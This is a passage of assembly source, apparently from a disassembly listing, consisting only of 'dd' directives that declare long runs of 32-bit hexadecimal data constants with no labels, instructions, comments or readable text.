		dd 81F3621Ah, 117DD59h,	8440F2F0h, 0E046AECBh, 8C9301E7h
		dd 2F946F02h, 0C7D89CEFh, 4680BB03h, 5B500066h,	0EEF0E7A6h
		dd 14A8B941h, 0E40509B5h, 5BD3D1F3h, 27B0340Eh,	1BC047C8h
		dd 0E09630E6h, 87401326h, 656C0178h, 6D32C1h, 4F1CFAh
		dd 0AEEE2D8Ah, 0C028943Ah, 0C8C4F700h, 0CEA00E62h, 0ACB8C4DBh
		dd 6FDC02D4h, 9E186815h, 84A300B2h, 0BF1A23F0h,	100C579Ah
		dd 9A45552Ch, 0D62200BEh, 0DF52D5E6h, 80C347AAh, 0A7E0B0h
		dd 326AF3D1h, 3F05928Ah, 403956h, 0FBAAD4A9h, 255BDFh
		dd 43AFF4B5h, 0E0C7077Ah, 0AC3B337Dh, 541D04B4h, 54D18C0Bh
		dd 5CCCAA88h, 1C933CF4h, 3411600Bh, 8FC12403h, 0A0014CEBh
		dd 0BA33501Ah, 0AFD00268h, 34704074h, 25CF13Bh,	0A8A501D6h
		dd 4440C856h, 5E21CF77h, 1857B486h, 0B06D5928h,	7C48583Bh
		dd 94AB7028h, 0C91F410Ah, 0A4C08411h, 12298566h, 3EBE9FCh
		dd 0FD346A58h, 0FBC72C90h, 6FFEC618h, 92E6418h,	57117DCh
		dd 91E0BCA2h, 0C137C44h, 8040DAECh, 2F855A24h, 7EE0386Ch
		dd 0E40A71A2h, 80921680h, 85438800h, 1A55F9Dh, 4B87CAECh
		dd 50562F41h, 73DF9584h, 0B912E00Eh, 47C580F5h,	0E180DA4h
		dd 450A297Dh, 0E17AC01Fh, 8584AC06h, 0D3E04B5Bh, 5D04147Eh
		dd 5C018051h, 0C3DF9A2h, 201DD1CFh, 0F8006210h,	7E138B6h
		dd 0F6648F3h, 9731C7DCh, 0E30B7823h, 0FB88280Ch, 1326A08Bh
		dd 5249A13Ah, 890809D0h, 71E688A3h, 225D66F0h, 1CB4F002h
		dd 48A5A8BAh, 50B10C64h, 0DF59BCD3h, 0FB300604h, 0AF00E8CFh
		dd 20E19607h, 2BAE7E54h, 8030480Ah, 66677565h, 498620F2h
		dd 0E9131C42h, 91C4EBCh, 0F53BFA21h, 5A10308Dh,	8AB59700h
		dd 9D9E400Bh, 0C48004C0h, 8190A444h, 80A2F920h,	733B2798h
		dd 4C752EFFh, 7809B4E3h, 10984A32h, 0D5007DC6h,	377983F2h
		dd 43B69A0h, 0F00C382Eh, 216C8044h, 892D00Bh, 0AF422700h
		dd 9DF534D1h, 0C68A1EE8h, 0C024E60Fh, 61EC95E5h, 7625D0Eh
		dd 1702E013h, 606EC2DBh, 88919885h, 0EF00873Ah,	9B600E2Fh
		dd 38EC4972h, 0A8CC0A7Ch, 0C47A29A0h, 3360FE41h, 24767768h
		dd 0E0507998h, 0F166B9D6h, 9377431Fh, 5B024828h, 0FFCE893Bh
		dd 0A15CE8E2h, 0EDA800ADh, 0BBDEC39Dh, 2424FD48h, 3BB446h
		dd 0D070CAC1h, 0B01D7634h, 0EBED0E44h, 7016544Ch, 7025DA48h
		dd 591B61Eh, 0B04AF4C0h, 3BEFD9h, 0AEEB365h, 0BC79A34Dh
		dd 2803F14Ah, 35216E0h,	1F32A5B1h, 0E801F54Bh, 8766423Dh
		dd 0EC40B254h, 50276109h, 116F883h, 0D8D11137h,	8375E134h
		dd 70D7F5A8h, 0DE2000F7h, 0D2723989h, 0CAE6E89Ch, 0AF18D400h
		dd 0A2693506h, 0AA30D311h, 1C20EB15h, 2A07A87h,	97EE805h
		dd 344837F2h, 0FB40C361h, 0A32C00AFh, 0F392F848h, 0C8BA4A18h
		dd 0A003D4F6h, 685B9F90h, 0B9C2D1D3h, 73F29981h, 42BB39A2h
		dd 6027B08h, 48EB3174h,	0C83C1010h, 1DE01FE1h, 0F1417600h
		dd 18EF63B6h, 79F8E7B3h, 22002914h, 0ED869ECEh,	670C8Dh
		dd 2711513Fh, 0F0946D02h, 9FAD3E00h, 0E6CE4F3h,	50289419h
		dd 0E51360BFh, 1853FCD2h, 526E4801h, 0A041ED01h, 0E8E26F18h
		dd 84BC7Ch, 0E1DD6183h,	0BDFC147Eh, 0E92B5C12h,	72D95C01h
		dd 7C227D6Ch, 78A0017Eh, 61548D8h, 0C175D845h, 8B0F3E04h
		dd 208A5AC7h, 413A7A10h, 3005EDC8h, 0B57F3D00h,	680F3639h
		dd 3BD0B0h, 159EB3AAh, 2EF1B169h, 1849093h, 9CAF673Fh
		dd 41D88128h, 55A784C1h, 0C1A877C8h, 787AD751h,	5E7BECE7h
		dd 0BA180878h, 9210E63Bh, 3E210035h, 74CFFBEh, 0CF54F909h
		dd 0A47A2630h, 10CEB0C9h, 5A0510h, 3A3D3308h, 1D3B6459h
		dd 721A4B03h, 0E02473B6h, 48194420h, 6900D079h,	0B90FF50Bh
		dd 0A3B0B368h, 0A0EF60Fh, 0CF8B0226h, 0E08E40E6h, 339A15FEh
		dd 9300D821h, 28E3EE0Dh, 150243ECh, 13347C73h, 86E9609Ch
		dd 0F8C305DAh, 0A8AE308h, 24E97DA8h, 0B5E00094h, 1D1C593Bh
		dd 30961AE6h, 6948C95Ch, 1333A8Eh, 0F6E12434h, 0E022A8h
		dd 0EBC475B4h, 79518DAh, 60237C9Eh, 80EA169Dh, 0E421D200h
		dd 5262F602h, 0E8A90046h, 17C56EEh, 81C67E2h, 0FA033F2Eh
		dd 0A06B72CFh, 0E8FD83Dh, 0A1245248h, 0B1DEC560h, 30DD0634h
		dd 868A1B00h, 426491h, 0AC94FF03h, 0AF890573h, 6BEAC31Dh
		dd 409B2D0Eh, 6625C592h, 0C8730055h, 0FD513EEBh, 900091EDh
		dd 1EAF2396h, 5B9825h, 0BFDE08F9h, 1B262B67h, 0ADA7A501h
		dd 0B7A39A70h, 60BC90C4h, 292B802Ah, 0A73FCB80h, 0D383002Eh
		dd 0BDAA6EA4h, 0AE1500E9h, 526F8EA5h, 9D2C73EFh, 690015A0h
		dd 2E0D283Ch, 641402D6h, 0DFDD267Bh, 0A7873881h, 9790D843h
		dd 0E400BC42h, 0AD2B6099h, 8700C90Ch, 196F11FCh, 12F2D50h
		dd 41F6A5EDh, 4AD08C57h, 0BFD58728h, 7BD040A8h,	5003311h
		dd 368AC79Eh, 0F7FEB40h, 0AF02062Bh, 9868AD80h,	37A70E1h
		dd 8B9A08C3h, 159BB027h, 0DF64000Ah, 0F777D074h, 0EC00DC30h
		dd 0DE7652AEh, 0C8FF13h, 59514027h, 287E4B0Eh, 89581702h
		dd 8770E4D4h, 0CF30E934h, 22EBC9F7h, 0C2001ECh,	1297389h
		dd 377D400Ah, 704D26F4h, 5C0A6AF8h, 0C807727Eh,	9780F11Eh
		dd 9842FBE9h, 31120392h, 0F28278F9h, 87578000h,	9EE065DBh
		dd 0FAD7182Dh, 7DD23824h, 0FD414400h, 25E92E31h, 3849121Dh
		dd 0C7340020h, 0A3329FEEh, 758C1C00h, 787E85BEh, 20266066h
		dd 0C5295CF6h, 0F27A0800h, 9DF0C3BCh, 0BB2D011Fh, 18376798h
		dd 89884086h, 7E60DC16h, 0AA4B35F0h, 441F488Fh,	0F77B7500h
		dd 0A74A2395h, 47E220C0h, 0E0E916h, 0E6DEE887h,	4AD01EB4h
		dd 536D44h, 0C7EE814Eh,	79F6691Dh, 0A5DF3E0Fh, 78DBE068h
		dd 5007DEh, 6C563CC0h, 1C5E6F80h, 59ABD909h, 29042184h
		dd 34C8FE25h, 811A3191h, 27D7D8h, 3B9F7D67h, 139F66BDh
		dd 0CC59802Dh, 9A6F889Ch, 0C4150100h, 718955E2h, 2E4A6D6h
		dd 6E1C057Ah, 0E816EA50h, 0D204007Fh, 8F6652FAh, 0E924E44Eh
		dd 1828C84Ah, 456901Fh,	0F315B87h, 4EFECE10h, 0BE40707h
		dd 40E53BA2h, 328D873Eh, 0CE00AF7Ah, 0B1D1EEEBh, 1D487EEDh
		dd 7F2131h, 0F566F3A5h,	4C18A17Bh, 0D1502869h, 3670449h
		dd 210A1A37h, 2D0081F4h, 0C001693Ah, 46354B44h,	98308306h
		dd 3845778Fh, 118B4F0Bh, 3FF69A9h, 0F01C6829h, 1FCBD192h
		dd 806467E5h, 15C84843h, 5A603045h, 0B517C420h,	1A78009Fh
		dd 40E3356Ah, 311D1DFCh, 5C40296Fh, 0B7751EBAh,	0AF362CF4h
		dd 1ACB0033h, 83AEE2C5h, 859DBB00h, 467E0B06h, 68AD54D7h
		dd 8D7808C6h, 0D6C23F1Ch, 0F0CE0188h, 10E4F469h, 0AEB7DB00h
		dd 0BADA9566h, 6C516021h, 98017213h, 34544600h,	91EAD64h
		dd 21C7E6Fh, 0FB3B49E6h, 60412ADCh, 53F520D2h, 99D83560h
		dd 1B48E3h, 0A6BEBB1Dh,	0D38B0B50h, 8063E23Eh, 79DD023Eh
		dd 24263A69h, 2323FD9h
		dd 0AEC6D4C0h, 3A5560A0h, 90212A51h, 0C8D79513h, 7837C900h
		dd 1410BBEEh, 4106AB00h, 485CCC38h, 0FEC003Bh, 86DA12A8h
		dd 0E6001A16h, 9D266DABh, 89DDE0h, 70A18A91h, 0DE3CCF25h
		dd 0D992EA00h, 2E9A79FEh, 6190008Bh, 0CCAEC494h, 0D3030858h
		dd 85706ACFh, 901A8854h, 0BCF700C0h, 0BA63AC4Eh, 20C0D2CAh
		dd 84C316F3h, 0E0C82E92h, 80A21D8Ah, 0F94CDEE6h, 4B00D80Bh
		dd 0BFECE796h, 0CD9E305h, 0D36373A8h, 2206DAB8h, 0DC2081Ch
		dd 7D500070h, 7BE5412Dh, 4F319410h, 225708C5h, 0FA27081h
		dd 0D911542Ch, 90B0DCF4h, 0D68EED0Fh, 0F231E025h, 6009F0AAh
		dd 0BA7E31EBh, 97008502h, 0AE518B92h, 9A36Dh, 6CD696D0h
		dd 668363B0h, 0C08C40E7h, 221850D7h, 4A107303h,	8D589559h
		dd 856B5400h, 871C7B9Ch, 0D7A4A84Fh, 5DF814h, 2E22AEC0h
		dd 858DE2D8h, 55055B0Ah, 0BB1D90CCh, 0A80E6B0Ah, 12C3DF61h
		dd 86F237F4h, 5421D160h, 1A8552Fh, 51929F8Fh, 0C866EE4Fh
		dd 9C02B4ABh, 0E452911Fh, 0A1876019h, 3AFF00F3h, 0FA7D7307h
		dd 0AE7DE7C2h, 1DF2023Eh, 5280B342h, 22AB10E2h,	0AAD300CAh
		dd 1E3017C1h, 0D7002A04h, 2EC4C7Ch, 3C55FC7Dh, 9A8EF9B6h
		dd 1E60C79Fh, 0E5A43C37h, 82084460h, 7D940Fh, 8D86D6CBh
		dd 6FC2D046h, 7181E00h,	3D498742h, 0B49F00E5h, 564B5234h
		dd 0A1008375h, 231BD3E0h, 0F88DDCh, 2976E4D0h, 5B2A59F7h
		dd 926BFA00h, 3C557F1Dh, 0F6EB0018h, 62D7D6DEh,	0C604FDCh
		dd 0C2413B20h, 0C4D7D7Ch, 8252B719h, 5CFC4018h,	1A0EE700h
		dd 3AEAE310h, 9F4705C7h, 0E49CBAh, 89FC6B8Ch, 0C51423CFh
		dd 174564Eh, 55B15398h,	0BF0C3D90h, 0E6BA9B40h,	7C510053h
		dd 0A62EEDE8h, 577D9F60h, 0EEFA21C0h, 0D171C0h,	0CA1D47C6h
		dd 19D827EBh, 0B4C7EC07h, 2330BCB7h, 0A831DBF7h, 7FD16574h
		dd 0E0DA68EBh, 0B6C1174h, 54473Dh, 0E81F9EB6h, 0EC7194h
		dd 0CEC3C690h, 743F194Ch, 87A3073Bh, 471A8B4Eh,	39FEB01h
		dd 0CA438880h, 19D7646Fh, 8030E801h, 9C890508h,	3C5E8C40h
		dd 7368CAFDh, 13215EC0h, 742E80FDh, 0B7FE6F3Ch,	33BC2D0Ch
		dd 0E3D2080h, 1F525685h, 9502DA42h, 0F1979082h,	19A34C48h
		dd 4EEA4FFCh, 7CE96948h, 60D7FE00h, 5D156DE6h, 598C1E79h
		dd 7F064F7Eh, 0BF1E1B60h, 75196BE7h, 2748E253h,	0E9D9ECh
		dd 74F2A946h, 397F561h,	0ACCC3900h, 63904425h, 8B95013Bh
		dd 38D17D09h, 0A9F5C80Bh, 8E5B7A00h, 28B2944Ch,	0AFA800D7h
		dd 0FEF23598h, 0C3077D06h, 9C5A7ED2h, 52302CA0h, 557212D3h
		dd 206C1468h, 0D4A9281Ch, 67D9895h, 0CD757ECh, 7131707Bh
		dd 8935085Dh, 0FB98840h, 14290158h, 42C8BAC3h, 1EB822D4h
		dd 0C4058CE2h, 8E80F106h, 0E1F3D8h, 1D7FB01Fh, 0CB492621h
		dd 8C001BE6h, 0BAF82335h, 38AFF48Fh, 6CC888C7h,	0C8CBE000h
		dd 0D90A8678h, 5104FF13h, 81BEB40Dh, 4CE3F760h,	290165A9h
		dd 9F1713D1h, 4C23EDh, 0B58A84CAh, 502FF522h, 1C0D1C74h
		dd 8090F877h, 9442A731h, 0E8489A19h, 75F68130h,	28228AFBh
		dd 941D2D22h, 0D4284D64h, 0F839A60Ah, 30A4F4C3h, 9B4674h
		dd 5E5580DDh, 786AFFh, 0AC7C506h, 282306Eh, 4A56AE05h
		dd 0C820E409h, 435582Ah, 1139CB5Dh, 444B7073h, 0DEF658h
		dd 0C7F9D49Bh, 950C1FC1h, 0EC008898h, 0D56A2D7h, 1D16FD48h
		dd 77CF88Fh, 9928C64Ch,	0A56B4010h, 0ECD42C00h,	0BC331AD5h
		dd 8F0C1D3Fh, 6F5280DCh, 0F25A60D0h, 0F778CA07h, 6F7485h
		dd 3E1EBE28h, 86A430A6h, 0CB0408B0h, 0EABA50C0h, 62A81Ah
		dd 80B0A1A0h, 0D3CF36D2h, 60909F00h, 64F26F33h,	18A800FFh
		dd 0ABBDC7E8h, 0B303E974h, 390806C5h, 95EED04Dh, 0FB7C1CD5h
		dd 6FC940ACh, 0C206E303h, 0E45E3500h, 0D4C8ECBAh, 36540007h
		dd 7D264E55h, 0F7B6F62Ah, 9B1CDC00h, 1EA43ACAh,	7AFCCEFh
		dd 0F13F07h, 668C7654h,	0B9C36F00h, 9DCD6B62h, 412002Eh
		dd 40C50758h, 99000696h, 54E79E33h, 7DB810Fh, 5FC6FEE2h
		dd 0B8F82027h, 6C393BC5h, 169F014Ah, 608D2B0Fh,	0CDAE80CAh
		dd 174057h, 0D59E91CBh,	68FB5D9Ch, 0FA0FF8E0h, 0A703A1h
		dd 0FFCDFDE2h, 170C00A5h, 4D68B09h, 6100E35Ch, 921EFA2Ch
		dd 1E50472Eh, 0C0C16DBAh, 14F3D94Eh, 0B500CDD2h, 91BFDFAEh
		dd 768063h, 39FC7096h, 7B8D262Fh, 0CB5A3Bh, 13F45F5Ch
		dd 0EE30AD0h, 0DC56229Dh, 42D1EFE0h, 691C061Bh,	0AF8078BBh
		dd 858BE22Fh, 0BFEE007Dh, 0D62B67B6h, 0F3037415h, 4531FAB8h
		dd 5759D0E1h, 6CCE00EEh, 94C601ADh, 96034115h, 5B0E3B7Dh
		dd 0F27F90D7h, 9B5A1269h, 9A801F9h, 2539C8h, 3AD87A5Ch
		dd 0FC800DCEh, 6FC6E59Ch, 470E8202h, 0FF3CBAh, 5B01AE2Fh
		dd 0F5910064h, 0CBE54BC0h, 0B1271AB4h, 0E2BF09Ah, 0D3D4F90Ah
		dd 0C4234100h, 9DE62B7Ch, 0F7F3CC00h, 0AD98DD60h, 15FEE4h
		dd 8D7C68E7h, 0B36597BEh, 599F8400h, 5C745AD7h,	0E34900A8h
		dd 900EA74Ah, 0AC0460ABh, 44D29913h, 4DFA81EAh,	1645F885h
		dd 0D7B01A00h, 0F8C5728Ah, 5B5D00C8h, 231CD0F5h, 25007BCBh
		dd 1F0A9A52h, 0AB2D59h,	0A76C793Bh, 0DB0604A8h,	2584F400h
		dd 0CBA4531Eh, 0D0A3008Bh, 7930190Fh, 0B1239F6h, 7009ABCCh
		dd 6280F532h, 80123BD1h, 4F4C3F1Ch, 494B3A00h, 0B838E44Eh
		dd 0B60C00F2h, 0F2FBD514h, 0E3EEDF7Ah, 66DDA700h, 0A41A976Dh
		dd 625800CFh, 94D8297Eh, 590E5BFBh, 0A080B464h,	501AA5EDh
		dd 0BCC123Ah, 0F9E20EB1h, 0CF6C6901h, 0FA488088h, 43CC2656h
		dd 189F00D4h, 0CE7AB753h, 470458A9h, 277FBDC0h,	0B90F3AC1h
		dd 111DF8E7h, 5F653F4Eh, 148DAB80h, 0DF2F999Bh,	0B1007CE0h
		dd 226A529h, 12493A5Bh,	109D25h, 17CA7657h, 507A1B0h, 0ADD13C0Dh
		dd 6EDDD3C1h, 0CB42C4h,	0F6BE0E59h, 1CFF178h, 0A25A6503h
		dd 0F8643A7Fh, 91CAE1h,	2C049A77h, 3FEB1B8Fh, 0D59648h
		dd 0F22870E4h, 0B05011h, 0F58E410Eh, 3AE5B99Ah,	83F41D00h
		dd 5F6F6AA4h, 889B0087h, 0B55DBF0Bh, 780FC252h,	0E2C8DF21h
		dd 44B7637Eh, 4E1005Ch,	0B229B8B3h, 33005B70h, 8EBE209Fh
		dd 91CD75h, 6A95B614h, 0FCCE05C5h, 0FAF2700h, 0A064BEFFh
		dd 84E3009Eh, 2E2CF51Ah, 600289BBh, 98DBF291h, 0ACF66179h
		dd 283EE4h, 0E5BA27D2h,	7EA44ACEh, 0A02DCB00h, 92ED1780h
		dd 7A9A0176h, 0BF822F72h, 7ECE45Eh, 69D6A605h, 21C039DCh
		dd 0F268A57Eh, 1BC6003Ah, 6B87D452h, 920188F2h,	0F3FF3906h
		dd 0C76FED7Ch, 8C298086h, 0A05C33CEh, 0D6A81F4Ah, 6BC817C0h
		dd 1557D38h, 5B0D068Eh,	61B4B835h, 3952EC47h, 0C83E6500h
		dd 31046A13h, 0B6532636h, 17BD057Ah, 0CB5180AFh, 3C005190h
		dd 7E02332Ah, 70BFBB3h,	44637B89h, 0A717305Eh, 9B7835D7h
		dd 5BD15600h, 882192BBh, 1B9300FFh, 5F0F2CF1h, 2490A4DAh
		dd 4A5A0702h, 0E0DB0E9Fh, 1227EEF8h, 0D52405h, 0A41F5E4Dh
		dd 56001A46h, 0C24B2D3Eh, 29A104h, 28B07E3Dh, 55835289h
		dd 80767438h, 6F3C273Ah, 3F1B370Fh, 0A2814075h,	6C9D0487h
		dd 8995DC5Bh, 0D4071D01h, 9782FF71h, 8ADBFCh, 0F3DF267h
		dd 0CE426F68h, 0B2314007h, 8E50ACB8h, 0DFD898h,	0E8ABDEC2h
		dd 0C4610E92h, 99A3A802h, 0C3CA0156h, 0B9BEC0D2h, 0F86D00C9h
		dd 228B54F5h, 0CC7D7367h, 811F83E8h, 2F80CF2Ch,	8528411h
		dd 0E44314EEh
		dd 3C01C7B6h, 15B9C067h, 1236F009h, 63BC0C00h, 0C3D36B37h
		dd 3BD200E5h, 8FA67708h, 430E4C51h, 40F604F4h, 2BB88CD3h
		dd 2146007Bh, 0CBED0FAh, 0B11D0AE3h, 0EA003F15h, 847E2B5Dh
		dd 796B0083h, 724686F7h, 0BB001E73h, 0B3DCCC21h, 0E515681h
		dd 0AED9CB71h, 6896940h, 0D800FF79h, 294F1F3Ah,	91DECC4h
		dd 9F7110BBh, 2F858400h, 83E04A7Fh, 43859750h, 5907DA71h
		dd 0E15C5BC2h, 0F3CEAB80h, 0C88D07A7h, 7031FE45h, 0E32BB4C5h
		dd 720CDF01h, 16C6DDCh,	333A20h, 953DED0Eh, 0D44BE366h
		dd 0AE75E20Eh, 2A003C9Eh, 52EE626Dh, 10711DD1h,	84940C25h
		dd 430FDA21h, 0A18E63B3h, 52FDF3D3h, 18D7DEDCh,	50CD6ABAh
		dd 6DFC299Fh, 0F91AC1C0h, 0BA4479h, 0CE57AE23h,	88E0AB0Ch
		dd 0A80AB200h, 736EF2B1h, 81690087h, 0AE18CA43h, 96603148h
		dd 4CF3C6A1h, 14340F64h, 80C9B385h, 2928F50Ch, 0C3F0AC06h
		dd 18716061h, 898065B0h, 5314F667h, 0E254E5D1h,	74E8141Bh
		dd 48D5D300h, 1CE49112h, 1DA00021h, 1F98B331h, 3900B24Ch
		dd 0E70EB7D7h, 1EC5B9FCh, 442F44D8h, 0C0144713h, 0B4B00360h
		dd 0A636F100h, 0B1487F12h, 0E6BE809h, 0C49EA22Eh, 440A8540h
		dd 54006704h, 28FA892Fh, 0F05307EBh, 6EF000E3h,	9D4584AEh
		dd 920077AFh, 0D3E6A3B2h, 0C79524Bh, 0E0A063D2h, 0B148DD9Eh
		dd 786B8018h, 3AC3B5Eh,	3C9BAE8Ah, 2BA0AFE8h, 0E3009F87h
		dd 4C6A8E74h, 0F42730Ch, 574FB321h, 40B4B985h, 5FBC9FB8h
		dd 0DA390386h, 5BE08B6Ah, 0A90781E7h, 1440673Dh, 44B3FFh
		dd 9BB13461h, 15BEFC35h, 0AA0075EEh, 0A1904BE0h, 3B1C7939h
		dd 7280FF2Dh, 9EA8EEBBh, 5115DE2Ch, 0BC9CE240h,	948C3B08h
		dd 18901Fh, 12AE2CA1h, 0D13BE243h, 384280EEh, 5D4F7026h
		dd 463603C8h, 0C1371907h, 6E6204F0h, 9F004D79h,	85BB5DC6h
		dd 72ACCA5h, 4B874864h,	0B4F2803Ah, 0D400CB9Dh,	0C320D87Ch
		dd 0E078B932h, 39050002h, 74AFF804h, 400047F4h,	0B4E168A9h
		dd 7F7D8D5Ah, 708E215h,	0EFC39EB1h, 86AA30BCh, 27F20A4Dh
		dd 0D43DF800h, 0FC224964h, 526D00B1h, 0AA5A3CD5h, 0A900EB42h
		dd 603AF82Ah, 0E64266Bh, 0F189CC4Ch, 0AD0644A1h, 1D9CC23h
		dd 1D0558h, 9BD07BECh, 0E1C1BDh, 0E8CCBB29h, 0ED213944h
		dd 8312A82Ch, 0F8C3300h, 786F1DCAh, 0CE5C007Ch,	89C5ACE4h
		dd 3003D625h, 2B2452BFh, 0E5E6F82Ah, 0A9F90058h, 1E4E0935h
		dd 550092FCh, 0A41CAD2Dh, 0F6121Fh, 0CBA961F7h,	0BFE7C4C1h
		dd 0DCFA2900h, 87BC9820h, 7F7FA0h, 0E2BDCC50h, 999FED6Fh
		dd 0C806EE03h, 0A020B785h, 589571h, 0D6B9DAEFh,	57362AEBh
		dd 62D73300h, 133C5DE7h, 0F1A001F8h, 88A5EC44h,	0F2EE4DFh
		dd 8A76351Eh, 621DAE00h, 0C4AC11h, 0A1A7A827h, 0A944E5DBh
		dd 0C0257507h, 40DC7B8Ah, 6ABB0E2Ah, 0D180BD5Eh, 0EDA299A5h
		dd 0B437CB00h, 0DA583470h, 0F1B90007h, 0AAA9FD31h, 0A5030182h
		dd 5E2A027Bh, 9C88007Ah, 51A36576h, 453CB4DCh, 10E7005Ah
		dd 53C066D7h, 0DEFA1CA9h, 0B7BB0091h, 1A9B1EBFh, 0D8CEED00h
		dd 97A811BAh, 4E2D006Ch, 969395A0h, 5100B04Ah, 72C803AAh
		dd 723269E8h, 71562EF6h, 2E2B00F3h, 39B4A019h, 313B4EF8h
		dd 612C00D8h, 34922F12h, 3BD5007Fh, 3C0F5E1h, 0BE481146h
		dd 0B2F20068h, 0FAA458EBh, 7C1A00EAh, 27744BDBh, 5F003682h
		dd 655DE8E9h, 12A00Dh, 20C3F529h, 529E15E3h, 0B7B04200h
		dd 4BE5884Ch, 62D3001Eh, 2858D547h, 2C00A44Eh, 66B391F2h
		dd 0E93D8A95h, 0FE11A03Ah, 0D07F03E2h, 42309200h, 812A982Eh
		dd 0D24300FDh, 86AE3C17h, 1A01E913h, 7A8A1B9h, 7560C977h
		dd 503500FCh, 906E3F0h,	710060D7h, 0C9CE201Ah, 5918E5h
		dd 8E6BF62Ch, 8558EEEBh, 0CA9F4D00h, 756AB012h,	0C784024Eh
		dd 0B62F1B24h, 86E74160h, 0D680A303h, 0A04DAB59h, 0BBDD9Ah
		dd 3B60D55Eh, 791F4107h, 1800437Bh, 4DED4687h, 0FE612E68h
		dd 561400D1h, 0D7766EE1h, 3C003D1Fh, 0C3AEFE96h, 26081D39h
		dd 0E15F304h, 792017CFh, 0C6F7725h, 800AC839h, 40A3DF6Bh
		dd 9E6714h, 0EC86FB02h,	0C41FB403h, 88C22201h, 4E43F0D8h
		dd 1CA750ECh, 38F1C13Bh, 0EA13DA00h, 0E1C3E73Dh, 0AF6A10Eh
		dd 0E7838E8Eh, 6EE05C4Fh, 0FF576F9h, 0ACEB9CD8h, 0E95B409Dh
		dd 8299C5E2h, 97D4C200h, 0BBDEB98Bh, 703600C3h,	0F493A7FEh
		dd 640E597Ch, 0E01BFF35h, 159EC565h, 86FC3BB8h,	0EA62C880h
		dd 0A1806A4Ch, 45009474h, 0E30A0464h, 0FE653F38h, 0EF4D00D1h
		dd 701BF6BDh, 6F008829h, 0CF948E46h, 7586AFh, 649BF11Eh
		dd 950AAA07h, 8365413Dh, 0FFB7090Ch, 7DBE00F3h,	17B88451h
		dd 0DB00C8E1h, 1FD54303h, 1F3862F1h, 9C6BBD23h,	7211C069h
		dd 0E09C49D0h, 9D56A71Ch, 8E87A442h, 78FA61F8h,	0ECC83FFDh
		dd 0DA6B008Bh, 0C50B5494h, 64005695h, 0E46C59CCh, 0D4749h
		dd 0A168C4D4h, 7DDB5DD1h, 80001CFAh, 16A4F222h,	2DB4ADh
		dd 0B76201CFh, 1DD22376h, 5C6AC001h, 6D737A22h,	568050BAh
		dd 246CE2E3h, 89070981h, 3A26D314h, 85842A0h, 0AEC03F3h
		dd 0F954BA71h, 72529AF0h, 26703806h, 3891FAh, 2112EB1h
		dd 0A8ADE086h, 629A8A00h, 8CF359B4h, 0C7FB724Dh, 71A481C8h
		dd 0C07C97F8h, 30FEA82Eh, 40001377h, 880BACDDh,	0E41AE8h
		dd 74EF3B0Ch, 0E5EEC060h, 0E372D200h, 1CBD5597h, 52F800F5h
		dd 0E91829C3h, 4100F660h, 0E8BFA79h, 0C8E2ABh, 1519F9A7h
		dd 0DE57406Fh, 80518F39h, 76B22747h, 0B3DF37h, 14A9EA12h
		dd 34B758Ch, 0CF0F06EEh, 0A0C5FBA7h, 0B58EF38h,	576184Eh
		dd 9A8785Dh, 0A99CF130h, 2CB582D8h, 0FE0118Ah, 0C3A7703Eh
		dd 0EAC6F023h, 36016A0Ah, 8B9BBF25h, 4881468Dh,	0B4903161h
		dd 0EFFEFC1Ch, 6F3CB3F4h, 803D3C5Ah, 8857C8DFh,	5EDABACAh
		dd 0FA0FCCDh, 20245372h, 0D8FC6ABCh, 18E05Eh, 0B848743Fh
		dd 0CFEE6949h, 0B0E9B0A8h, 473C0376h, 3FC22C6Eh, 94878300h
		dd 3E3CFCh, 25FDA7E1h, 0D901BEE7h, 0F2A88400h, 0DCFF3A0h
		dd 8EB80E43h, 8B209932h, 11E7BDF0h, 0BE6E4407h,	46906F4Eh
		dd 0A3F20Dh, 0D3CB219Bh, 9D1A93E0h, 15DBCA0Eh, 0AC9533h
		dd 609438C1h, 7D61EBh, 586932C0h, 75B0FCB2h, 0E00F6F6h
		dd 838D6ED6h, 5C0CAD09h, 4E00D015h, 72FCAE7Bh, 24006948h
		dd 88C5E3E1h, 0EE9573Eh, 4F734E4Bh, 441ACDA0h, 0B40FEA21h
		dd 1D4D780h, 2BBEF40Bh,	712AF8h, 7AB891C0h, 4F145882h
		dd 860D2D00h, 0A446DE60h, 0E77F24h, 0ECFD2E7Ch,	88C9370Bh
		dd 8AF6FA7Eh, 0F9E93B00h, 622E54FBh, 0FE7603AEh, 2463BD50h
		dd 1F5D43B0h, 282FB400h, 70956121h, 52C80758h, 87DED0F4h
		dd 87E4F0CBh, 3004D84h,	90E9C47Bh, 7F5A20h, 10DEA883h
		dd 3F1135A1h, 0F047DB2Dh, 0F8E20046h, 0F418DCE8h, 39906FA5h
		dd 9BE56500h, 98CDD05h,	0C41E12D0h, 0DC26003Dh,	50EADF15h
		dd 3F4891Ch, 0BB8023DEh, 0DB4A1659h, 57D90086h,	4797B8DAh
		dd 0E2245D76h, 38DF68h,	0E50780Dh, 80D626h, 0FC6BAE1Dh
		dd 0C37F3DFh, 66ABE700h, 0E3878D67h, 623E2484h,	0BA9200C3h
		dd 8FE8595Bh, 215E9903h, 0AD9FC378h, 0E7D2F607h, 49101BB7h
		dd 9B42E6h, 0F59A65D9h,	0F997A528h, 0CDA9D400h,	1674DB78h
		dd 9A21D81h, 4ECFC031h,	52287708h, 9AD85D13h, 37FB00EBh
		dd 0A21E0F09h, 0D904A9F4h
		dd 5F8D4188h, 0EB516FC0h, 93790030h, 0F4EA2653h, 4000E6FEh
		dd 0BEB66786h, 1EFD55D9h, 0C098A349h, 0F0EC7DB9h, 9100174Eh
		dd 6450C83Dh, 0A6BD25h,	21B78348h, 0D7AC3E35h, 0D5AB4102h
		dd 405D65F3h, 0FCEDBE6h, 0BB699A3Ch, 38957E0h, 1F73AD27h
		dd 15347600h, 0D5C12BD6h, 65AA0056h, 432CDCB1h,	1000EC39h
		dd 62A0EB13h, 0AC6BB2h,	3180307Ah, 0CA6DF9D4h, 4752F501h
		dd 0FAB082FDh, 8DDC56C9h, 107E609Fh, 0FB811520h, 31642200h
		dd 99D7BC24h, 0A05F603Ch, 270B4F55h, 18B38A1Ch,	79323001h
		dd 74F0523Fh, 6824001Bh, 0A88BADFBh, 0E20FA616h, 603CE515h
		dd 44194EBBh, 95A200E9h, 83028742h, 642817FBh, 0E2183434h
		dd 0B831E6CCh, 2457893h, 26441C81h, 14831B57h, 7CB8FBDAh
		dd 23008A63h, 57C2F1C8h, 0E11113h, 0F26F5C0Ah, 0B33DF9B9h
		dd 8DB79300h, 463DD39h,	32B5001Dh, 0B246C07Ch, 7A0070BFh
		dd 946911F9h, 0FEB1513Dh, 3738003Ch, 0BAB0EE88h, 12F8EDC0h
